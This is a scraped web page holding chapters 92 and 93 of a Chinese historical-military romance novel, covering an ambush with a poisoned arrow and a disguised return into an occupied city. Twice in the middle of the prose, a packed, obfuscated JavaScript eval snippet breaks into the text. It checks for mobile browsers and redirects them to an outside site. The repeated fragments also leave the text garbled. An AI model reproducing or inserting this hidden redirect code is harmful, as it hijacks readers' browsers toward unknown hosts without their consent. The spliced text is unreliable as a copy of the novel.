幸好没有天真地寄希望于出发那天穿的礼服铠,把这套带出来了。 站起来,罗易也跟着站起来。 往前一步,罗易就退后一步,期期艾艾又往前一步,罗易又退后一步。 韦祎:“怎么,这儿又没有人,近一点嘛。” 罗易:“不了,现在看见你这一身就觉得冰凉。” 直到罗易后背靠上墙,韦祎把自己胳膊隔在罗易身后:“石头墙就不凉吗?” “那你过来啊。”罗易意识到自己的嘴角含着笑收不住,脸颊都酸了。 凑到最近时,恰好又听见了肖丰返回上楼的脚步声。 不管他,他还要走好一会儿才能看到这边。 罗易:“我第一次进城楼里来,新鲜,又算一次约会。”屈指用手指关节把韦祎胸前的兽首护心镜敲得铛铛响,“现在不方便,有时间,我要亲手把你这铁壳子扒了。” 是,外面不远处有一堆新鲜尸体,约会定律升级,这次的尸体是自己制造的。 “穿这套挺麻烦,但只要罗老板有兴致,末将多穿几次给您玩着。” “韦将军给小女子开空头银票啊,何时能兑现?” 算准了罗易现在不能把自己怎么样,非常有安全感的时候口头逞英雄韦祎不输。 有个怀抱支撑着自己站着,坚实有力,不怕他抱不住自己的重量,他也不会因为想开个玩笑就突然撒手。于是,脖子上的肌肉开始偷懒,上下眼睑也放松起来,竟然瞌睡了。 额头狠狠地在韦祎扎人的肩膀铠甲上磕了一声响,痛得眉毛皱成一团,又清醒回来。 “干嘛呢这是?”韦祎被她给吓着。 “嘶——”咬牙捂着额头不说话。 “中郎将,大概走不了了。”肖丰这次上楼,看见韦祎把罗易抵在墙上,脸颊贴着脸颊,亲密耳语。 退一步站直了:“出什么事。” “张丙乙快马来报,曲将军看见了冒出来的狼烟,冲出营地来救归良郡,奔着最近的西大门去了,钱氿想拦他,被曲喆给伤了。” “伤得怎么样?” “没大伤,只把甲给砍破了。”肖丰觉得韦祎这个关注点很奇特,“身上有点淤青而已。” “为何啊?脑子坏了,我不是让他们不准出来吗?” 肖丰无语,自己哪里会知道。 张丙乙也跑到楼上来了,“中郎将!曲将军把我们禁军的人全都带走了,西门离咱们营地比我到南门近,我才赶过来,曲将军恐怕已经到城西门了!” 下城楼一看,燕人兵卒都往城西去加强防守了,城南这里的压力又降下去,搞得归良郡郡守都不想撤离了,他想,既然西门有人攻打,说不定可以趁势把归良夺回来。 “夺回来个大头鬼,曲喆就那么一千人,归良郡易守难攻,他在城外除了当靶子有个屁用。”今天没吃成早饭,韦祎一直都没觉得难受,听到这儿开始胃疼了,“庞将军没管他?” 92. 陨星箭 “庞将军?他不就是个好好先生,曲将军看见狼烟要去支援是正当理由,他才不会拦着。”张丙乙这些日子看出来庞仁的为人风格了。就算回头曲喆因为违反将令被罚,也跟他无关啊。 钱氿是试着拦住,被曲喆给打了,韦祎从城防军带出来的其他人整体战力远不如禁军兵卒,用武力拦截恐会两败俱伤,钱氿都受伤了,他们没必要往前冲。 “曲喆不是武功不怎么样吗?”韦祎想起来,怎么就能打伤钱氿。 张丙乙:“氿哥品级比曲将军低,不能先下手打曲将军吧,被曲将军抽冷子抡了一刀背。” 不是谁都能像韦祎一样不把品级尊卑看在眼里,若是钱氿当众对曲喆出手,怕会被曲喆的手下们群起而攻之,乱刀砍死。 “你们要去西门那边把那位曲将军劝回来吗?”罗易看见大家都不说话了,开口问道。 “违将令出战当斩。”肖丰冷不丁来了一句。 “不行,先不管他,我在太守府里听见,燕人的大军很快就会来归良郡,估计就在附近山里哪儿藏着,我们立刻回大营转移。” 出了赵六而这个内鬼,大军的驻地已经不是秘密,今早自己出来追被盗的郡王印信,想到了这一层,没带多少人出来,把大军留在原地,出了事也有力量守护。 谁知道曲喆脑子发热,带着近三分之一的人擅自离开,竟然大大方方地出现在归良城下,生怕别人不知道他。 现在大军驻地只剩下根本没上过战场的城防军兵卒,虽有庞仁带领的顺天军,但是庞仁吧,拎不清,称不上“善战”二字。 罗易匆匆和褚先生告别,嘱咐他赶快回东海郡去。 褚先生没经历过这样的战时乱局,没心思多管罗易,她若是死在了这边的混乱中,而自己回到了东海,东海罗氏大权空落,岂不是正好? 眼珠子转几转,抹一把脸上蹭的烟灰,装作不放心的样子,为难地拱手躬身应是。 所以就痛快地分别了,罗易和朱愈、秦琼莫名奇妙地加入了韦祎的队伍,在马上往回飞奔。行军的速度,罗易他们紧咬着不落下分毫。 从秦琼那儿打听到,罗曏八岁时,姐弟两个吵嘴,罗曏记恨在心,找机会把一匹大马牵到罗易面前,在马臀上猛扎了一刀子,高头大马向着罗易就冲过去,十一岁的罗易在马蹄子底下滚了好几圈。 秦琼:“所以说,后来我们小姐一定要学会骑马驯马,练了练,若是比马术,不输马场的师傅。” 因果关系奇特。 诚然罗易狠心,战胜了小时候留下的恐惧,马术上佳,但在每次握住马缰绳时,一丝紧张如同附骨之疽,清除不干净。 “就这么放着曲将军不管?不是说当斩吗?”罗易打马上前与韦祎并辔齐驱。 韦祎:“是怪我,一路上都不在,曲喆心里对我有怨,又想要功劳,看见狼烟就借机跑去,有道理。” 加上昨晚的事情,出事的一队哨兵是曲喆那边的,被人扒光了捆在一团,实在丢脸,曲喆就是这种人,急于找回场子。 在马上,说话靠吼:“人都是千方百计想着自己做的事情有道理,别人死活不用管,你怎么反过来。” 韦祎:“哪有?”咬咬牙,“曲喆那人活着不容易,他实在想死没关系,拖着手下的一起遭罪算什么。” “谁让这世上,看不透的人多,没办法的人多,就像百年前的垣国,糊里糊涂地就自焚了。” 与罗易聊起垣国的时候,韦祎在劝对方不要为此生气,又一桩蠢事发生在眼下,变成了罗易劝韦祎不要心焦。 正在官道上跑着,罗易纳闷,正在与自己说话的韦祎从马鞍袋的一把彩色手旗里摸了一支蓝色三角形的,散开来旗面有一臂长,高高举举过头顶,上下挥舞三次,放下手旗。一息之后,又重复一次刚才的动作,同时勒转马头,改了路线,钻进官道旁的岔路上。 “别出声,跟我走。”罗易眼睁睁看着韦祎没动嘴,声音却入耳。 身后一百余骑兵紧跟着韦祎拐进小路,见令旗,众人皆噤声跟随。朱愈和秦琼有样学样,跟着走就对了。 上山的一条路,韦祎又掏出一面红色旗子出来,命令众军下马缓行登山,自己把马缰绳扔给张丙乙,登到足够高的时候才停下来小声说话:“传将令,钳马衔枚,无令不动。” 自有各小队的队长悄声将命令传下去。 队长要负责带着备用的马口钳,所以多出来的三匹马也没问题,都把马嘴给封上了不能发出嘶鸣。 把弓和箭壶从马上拿下来背在身上,手套也要记得带。 一部分人牵着所有的马往山深处隐蔽,另一部分人被韦祎带着,爬上了沿着官道的山崖,罗易左右看看,韦祎没让她选,伸手拉着她,一起到了山崖上,趴在草丛里,躲在树后,俯视官道。 刚刚躲好,就已经能看见官道上一支大队伍冒头,出现在了视线之中。 马军开路,其后跟着辎重,中间隔着一队步卒,后面又是马军、辎重、步卒。队伍沿途有开路前哨,副将们骑在马上游离在队伍之外前后传令。 军旗开路,全副仪仗。 北燕以灿烂星瀚为图腾,黑底大旗,绣三十六颗银星子,中间一个巨大的燕字,三条银龙在星瀚之中环绕燕字,这是所谓的大燕战旗。 战旗之后,左右各六面长条形仪仗旗,都是黑底上绣着一颗银星的。 紧跟着是一面比大燕战旗稍短一点的大幅旗子,上面是黑底北燕文的“拓跋”二字,这是将领之姓氏。 这么看,最前面全副披挂、高头大马,身负一杆方天画戟的那位,就是北燕将领拓跋海。 档案有记载,拓跋氏算是北燕的二流名门,拓跋海是这一代的家族代表人物,隐约记得他年纪应有五十许,为人鲁莽贪功,在边境战场上待过。 看得众人把手扶在刀柄上的,是燕人队伍中,后军年轻将领身后拉着的一车——人头颅。 再抬一抬眼就知道这一车人头从何而来了,人头车后面的几大车东西,正是韦祎带领使团押运的国礼大车。 他们在车上盖了北燕人才用的黑色苫布,但那个国礼大车的轮廓形状吧,看起来就深恶痛绝,这一路是遇到泥泞就拉不动,遇到颠簸就怕碎,可折腾惨了,隔着苫布一眼能看出来。 燕人大军绵绵延延在官道上铺开,目测约有五千余众。 打他们,是不可能的。 这些人,应该也不是归良郡美髯将军口中的,全部“燕国大军”。 他们如此招摇行事,只是拓跋海的性格造成。 五千人的队伍当不止一位将领,只立起拓跋一面将旗,意味着主将和副将是一家人,看后军那位将领的年纪,也许是拓跋海的儿子。 什么都不做,也是不可能的。 岂不是愧对那一车人头颅? 在眼前行进了快一柱香的时间,看到了燕人这队大军的尾巴,向后遥望,后面没人了。 韦祎活动活动腿,从坐着变成了蹲着,把大弓从身上摘下来,挽弓,搭箭,顿了顿,从箭壶的暗格中掏出一个小方瓶,拨开瓶塞闻一闻,嘀咕道:“没过期?” 把里面墨汁一样的液体倒在箭头上,晃一晃箭头风干,重新搭上弓弦。 树丛中躲着的诸军看见主将在做战斗准备,警觉备战,肖丰在一旁叹了口气,做了个下压的手势。 一支利箭无声离弦,直接往天上飞,根本看不出来韦祎瞄准了哪儿,这不瞎往空中放箭吗? 见证奇迹的时刻在三次呼吸之后到来。 半空中笔直落下一支羽箭,直直地扎在了燕人队伍后军将领的背上。 别说是那位副将身旁的人没有察觉,就连那位年轻副将自己都不知道为什么身上突然痛得厉害,直到他低下头,看到了胸前穿出来的箭头。 到他们反应过来,这支大队伍又走出去了好远。 足足花了有一盏茶的时间,消息传给了最前面的主将,拓跋海立刻叫人举盾,护着他从最前面跑来了后军副将这里,在韦祎等人隐蔽的这段山崖上,大军只剩下个尾巴还在视野里。 与肖丰对视了一眼,肖丰点头表示会意,随后,韦祎一跃而离开,偌大林子里连一点风声都没被带起来,人已经不见了。 罗易看肖丰,肖丰扬起下巴,示意韦祎朝着燕人大军的方向去了。 燕人大军警戒惊慌了片刻,不知为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他没穿上身的铠甲,身上只有衬甲袍,很好扒,刚才张丙乙报信时就说了,铠甲砍破了,没法穿。 想一想,甲都被砍破了,胳膊至少是骨裂。 “我的行李还在吗?” 庞仁不好意思的答:“在的,除了国礼大车,其它东西都在。” “胳膊固定一下,擦些化瘀药酒,先穿我的便甲吧,去我行李里面拿,幸好你我身形差不多,能穿我的。” “成啊,多谢中郎将,您这出一趟门带了四套盔甲,真用上了。” 坑人的礼服铠,现在身上这套战甲,平日穿的便甲,还有一套皮甲,挺齐全。 韦祎:“倒是你,你这样的人,怎么会不记得带备用的。” 钱氿挑一挑眉毛哎了一声,旁边的庞仁插话,“这怪不得钱将军,将士可自备兵刃,但私藏铠甲乃是大罪,别说是钱将军,就是末将这个品级,也只有身上这一套铠甲啊。” “是有这么一说。”提到这儿,韦祎垂下了眉眼,“先去吧,抓紧休息,伤兵快些处理,尸体也尽快。” 朱愈在一旁提出来,“韦将军,在下也去帮忙救治伤者可否。” 韦祎正色拱手,“多谢玉芝。” “刚才怎么了?”罗易陪韦祎在石头上坐着。 “我记得报数,这次带出来的皮甲一共三百多套,穿便服时用的,为了在西域国中便宜行事所带。” “还有?” “我家里一直有好多套战甲。” 罗易微笑:“原来是想到了这里啊。” 刚进金吾卫时直接给韦祎发了三套铠甲换穿方便,后来偶尔抱怨几句甲片松了,带子磨了,硌得慌之类,兵部就会送来套新的,也不收回旧的。 想要更好的,可以去量身定制,从军八年,韦祎家里攒了好些铠甲。 皇帝是知道此事的,从前他还与韦祎一起研究过,金吾卫的铠甲无论怎样都硌后背,一定是设计问题。 便一直觉得,不准多备铠甲这条规定没管得多严格,军官们都有。 原来不是。 93. 返旧城 “令尊是从二品大员,身居要职,手握重权,按制可蓄府兵护卫,所以你家有上百套铠甲都无妨。” “是啊,是可以,我爹嫌麻烦,用不上,家里也住不下,请旨不要这个。” “身在其中,自来如此,很难意识到自己与他人不同。”罗易抓着韦祎露出来的手指尖,转移了话题:“刚才好厉害,神乎其技。” “虚名也不全是虚的,没点真本事,岂不白白扬名天下了。”韦祎垂眼看到了罗易脏兮兮的手,反握住,“等会儿给你们拿皮甲穿吧,你和符怜与普通士兵差不多身高,应该合适。 皮甲是上次徐公墓穴事发,云攸纾穿在身上就觉得浑身动弹不得的那种,只护住前后身子,稍微有那么一点作用。 “他们不做追究,直接离去,可是因为箭上淬毒?” “嗯,观他们队伍人虽众多,无军医服色的随行,后面跟着的伤兵没有认真包扎过,应当只是一支分队,军医不在这一批人里。所以,急行军去找军医汇合了。”再有,韦祎第一次发箭,到第二次发箭,中间距离甚远,纵使燕人觉得伏兵只有一人也不敢咬定确认,根本摸不清来者的方向和人数,着急救命,只好快速离开。 “那毒药致命吗?” “致命吧,神机营做的,说是刚中毒时只觉得伤口麻痹,渐渐加重,一日后毒发要命。前些年我拿了两瓶,应该没过期。”韦祎点点头。 “喔,怪不得我听那些燕人喊着快去归良找军医队汇合。” “你也会燕国话?”韦祎抬眼。 “会啊,生意人,应当会。前些年北燕和咱们大齐开辟了东部商道,常有燕人陆路,水路的来东海,他们的马好,铁矿不错,寒地药草也是大齐种不出来的,自然要和他们打交道。” 韦祎:“确实,不知为何,当今圣上在位时,我们与北燕关系缓和了些许,不过,这不还是又开战了?” 罗易:“你憎恨北燕人吗?” 韦祎:“不啊,为何这么问。” 罗易:“大齐与北燕多年为敌,南宁国积弱,西域诸国各怀鬼胎,南稞国也没了,能与我大齐分庭抗礼的只有北燕了,很多兵都死在北方边境上。我见不少百姓恨燕人,我们与燕人交易来往,连带着被骂。” 韦祎:“北燕人也是人,立场不同而已,何须憎恨。” 憎恨很简单,只要把恶意发泄在他人身上就能让自己舒爽,罗易觉得,她可以理解那些憎恨北燕的百姓,但是她做不到和众人一同憎恨,更没有办法劝解别人不要憎恨,因为他们的子侄、丈夫、父亲、兄弟,是真的死在了北境,死在北燕战旗之下。 “中郎将!放晚饭了,给您!” 一位后勤的兵卒从挎着的筐里拿了两个比脸还大的白面饼,凉的,有点硬。 韦祎接过来了。 “那个,转移时拾掇慌乱,一时找不见碗筷了,您看这咸菜……” “放这上面。”韦祎无奈,把一个大饼递给罗易,用自己手里的大饼当盘子,伸给那个后勤兵,于是,后勤兵用手从罐子里抓了一大把咸菜,放在饼上。 罗易心情复杂地抓着饼,看了看自己沾满泥巴和灰尘的手,这闹了半个清晨外加一整天,又是骑马又是爬山躲草丛,指甲缝里都是黑的。 “估计是没有能洗刷的水,有就拿来了。”韦祎也心情复杂,自己手指上有可能沾了毒药呢,没得洗。 正巧钱氿路过,指向附近的一座山峰,“那上面就有水源,只是水桶装车时被压在好些东西下面,没得空弄出来。” 听了这话,韦祎毫不犹豫地把水壶里用来喝的水倒出来,两个人简单洗洗,反正也没洗干净。 而且,洗手前,已经抓过饼了啊! 看一看那堆咸菜,“用手抓吧,你先吃,我给你端着。”韦祎做了个请的手势,“整天都没吃什么,委屈你了,不敢生火,只有凉的。” “不妨事。”罗易奇怪地看了韦祎一眼,废好大力气把手里的饼撕了一小半递过去,“何用你等我吃完,这样不就好了?” 把饼接过来,“厉害,就想着这饼,平日里我都觉得撕不开。” 凉面饼吃着磨牙,咬好半天嚼下来一块,好在没有异味,咸菜味道尚可,茄子皮菜干为原料,非常咸辣下饭,不愧是咸菜,如果有筷子用就更好了。 罗易总共啃了大半个饼下肚,觉得饱了,用来端咸菜的那个饼被韦祎卷一卷权当馅饼给啃了。“饼和咸菜不缺,你什么时候饿了再去拿。赶快睡一会儿歇着,天有亮光便启程。” 罗易:“睡营帐里?” 韦祎:“当然,那边他们搭好营帐了。” 罗易:“谁的营帐,你的?” 韦祎:“你和符怜单住一间,在我的旁边,玉芝去住平焕的。” 不废话,罗易都困得快晕过去了,“子隽晚安,我便找符怜罢。” 一晚上过去,外围哨兵一直有回报:不见曲将军带队返回原驻地附近。 凶多吉少。 韦祎毒箭重伤了拓跋家父子,这大批军士到了归良郡,也许就把怒气发在城外的曲喆队伍身上。曲喆若聪明,看见这么多人冲他过去,他就该赶紧跑。 也不知归良郡的郡守走了没有。 清晨整队出发,没有了最难运送的国礼辎重,使团大军又全是骑兵,分为两路,庞仁带着绝大部分人从山野里摸着,悄悄转移到归良郡的北边,在山间找块极为隐蔽的地方驻扎布防。 韦祎带了三百挑选出的精锐,往归良郡附近去探查情况。 得把国礼追回来,至少要试一试。 绕了归良郡一整圈,没见着曲喆的人,郡守也走了,不再守着南门。 更令人称奇的是,归良郡开着南门北门,城下百姓有进有出,比平日里还热闹。远看,虽有燕人士兵守城,也并不做严苛检查,竟像是不在战时。 “什么情况?先回去。”转到东门时,看见了银州太守和其他几位官员的尸身挂在城楼上,原来太守在这儿呢,昨天早上就想着他很难活下来。 众人下马,遥望,肃穆一礼,尸体身后高墙上便是北燕战旗迎风猎猎。 回到新的驻地,跟罗易说了城中的情形,罗易说,城中有罗氏镖局的局长在,乔装混进城中,有什么情况可向镖局询问。 于是,罗易、韦祎,秦琼、钱氿化妆成两对夫妇,之所以不用肖丰,因为他长相太凶恶显眼,朱愈没来,是因为伤兵那边忙不过来,需要他留下。 不用张丙乙,是因为秦琼不乐意,她不乐意就是一个细微的眼神,除了罗易谁都没看出来。钱氿挺乐于凑热闹,带伤上阵。 到城楼下,已接近黄昏。 这出入城的百姓们,多是慌慌张张蓬头垢面,满身灰尘,四人故意在脸上抹些灰,与众人无异。 各国出名将军的画像,在敌国的上层机要必有记录,钱氿还没到那份上,韦祎的画像会有。 画像这东西不靠谱,就没有能根据画像认出真人的时候。 就比如韦祎昨日里看见的美髯将军和那个拓跋海,拓跋海在档案里有画像,最多三分相似,若是他不挂自己的家族姓氏大旗,韦祎一定想不起来是他。 美髯将军就更没谱了,北燕大汉都喜欢蓄胡须,基本上年纪过了三十的,人人长髯一大把,翻看画像册,满眼都是大胡子,无从分辨。 既然这位占领归良郡的美髯将军能够公开与拓跋海相争,等级应该差不多,若是知道他叫什么名字,兴许能记起来他的生平。 “这位大婶,听说,这城里好像有燕人啊,这,这敢去吗?”罗易惊惊慌慌地拉住一位背着行李的妇人,向她询问。 “姑娘消息是准的,我和儿子昨日曾逃出城来,在野地里待了一夜,今天听说城里的燕人不杀百姓,开着城门随意进出,我们啊,就想回来看看。这出了归良城,我们母子不知何处能容身啊!”妇人拉着罗易,“姑娘你们这是也要进城?可是家在城中?” “这是我男人,叔子和弟妹,我们从东边来,想来归良谈一桩生意,这不,我们不敢进城去,在野地里过的夜,真是没赶上好时候,够狼狈的。” 当罗易说出“我男人”的时候,韦祎牵着罗易的手一紧,不老实地挠罗易的手心,差点把正在套话的罗易逗笑了。 “谁说不是呢,真是没赶上好时节!这好端端的,打仗做什么呢!”妇人摇头无奈抱怨着,进城去了。 “走吧,看样子,他们快关城门了,我们赶在关门前进去。” 装作唯唯诺诺的样子慢慢走过城门口燕人士兵的面前,兵刃藏在驴背上的行李包内。 驴,是在山里捡来的,许是难民丢弃。 这进了城,就一夜都出不去,若是北燕人突然改了主意,不再开城门,那出城就费劲了。 不安,有三分是真的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522990|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你要去太守府看看吗?” “不了,先去镖局,找地方洗个澡。”身上都快臭了,不适合潜入偷听。 局长仍在,见到罗易等人去而复返,竟有些热泪盈眶,兵荒马乱的年月,只过了两天,恍若经年离别。 西北流行大汤池沐浴,外面的大锅炉一加热,屋内好几个铜水管都能放出热水,大池子保温性极好,可容纳十几个人一起泡。罗氏开在归良的镖局颇具规模,镖师不少,自家院内修建有汤池,局内上下在院内沐浴十分方便,别家镖局的镖师们都眼红此等福利。 烧上水,人清空,罗易和秦琼先进去洗了一遭,接下来轮到韦祎和钱氿进去。 绝不会下汤池子里的,那水也不常换,不知道有多少人泡过,别说是进汤池里,就单论和钱氿在一个房间里洗澡,就够韦祎别扭的。 韦祎:“要不,你先洗,我等会儿?” 钱氿:“等会儿还有事呢,您别磨蹭。” 韦祎:“你是京城人,我记得京城不开这种浴池。” “您是想问,为何我不觉得尴尬。”钱氿早清楚了韦祎想的什么,“我若是这都介意,在新兵营就死了。” 说得对啊,“你家开花圃的,你为何要去从军?” “家里兄弟多,我不占大的也不占小,家里的活计用不上我,私塾读了几年考了个举人,又去远房伯伯家学打铁,打铁且无趣且累,正好看见京里招兵,这一届倒霉被送到西南边境去,然后就到现在了。” 韦祎:“举人?你都当上孝廉老爷了,去学打铁?” 钱氿:“考了童生考乡试,过了会试是殿试,殿试有名次都不一定能吃上官家饭,得多少年?我闲的?考个举人意思意思得了,我考那举人排名次特靠后,不可能给我发官当的!” 韦祎:“你这……” 钱氿:“人生在世就那么短短几十年,吃好玩好,想干嘛就干嘛去。” 他没说的是,私塾的先生考到了五十岁才勉强考上了举人,再无力继续科举,只好退下来办私塾。 钱氿这个不怎么用功的学生玩到了十岁才入学,十五岁随随便便考上了秀才,十七岁中了举人,算是个小小的神话,继续考学一定前途无量! 然后竟然撒手不念书了!家境还不错,不是供不起他念书。 转头学打铁去,差点把私塾先生气得卧床不起,纠纠缠缠一年多,钱氿最后跑去当兵,也有不胜私塾先生骚扰的原因在。 有话说,竟不觉得同屋沐浴尴尬。 “那要我帮您搓背吗?”中隔板后面又传来钱氿的声音。 “不要!” “哎呀呀,”钱氿故意从隔板后边露出半个脑袋看看韦祎这里,“中郎将这一身伤疤,看着就是身经百战。” “别看我!转过去!”花容失色,差点就要原地抱肩蹲下了。 尴尬,韦祎人生的好伙伴,刚才它只是短暂的离开一小会儿,很快就回来。 “对不住,是我没搞定曲喆庞仁那两位,连累你被曲喆给伤了。”要道歉,曲喆身为副将不听令,追究起来,是自己的责任。 “客气,客气,这算什么。”钱氿不以为意。 罗易在外面换了套干净简单的衣裳,昨日凌晨匆匆出门,不少行李都留在了镖局这里。 刚才在街上问到了,许多昨日逃出城去的老百姓,今天都回来了,不过,这儿镖局局长的儿子没回来,听说是和归良郡守一起跑去丕州了,局长说了,不能把金子存在一趟镖里,乱世里兵分两路,更为稳妥。 朱白芷它们三只白鹰也放在镖局里,直接放飞,能够飞到朱愈身边去,所以先留着不放,一旦有什么情况可以传递消息。 “你头发这么快就干了?”走过来,摸一摸韦祎干爽蓬松的脑袋,手感不错,把韦祎自己胡乱挽的发髻都搅散了。 “可内力烘干。”韦祎好脾气,等罗易玩够了,自己重新梳,如今乔装打扮成普通人,不便用名贵的玉簪,随便拿个布条绑头发。 “这习武之人,便利颇多啊。”罗易自己的头发仍旧湿漉漉。 用饭毕,一间静室之内,坐在床榻上打坐歇息,罗易就在旁边,怪模怪样地学着韦祎的坐姿,双脚平放于地,间距与肩同宽,腰背挺直,肩略展,两手攥拳放在膝上。 缓缓睁开眼往那边看,不知道她在搞些什么名堂,嘴角挂着笑意又合上眼打坐。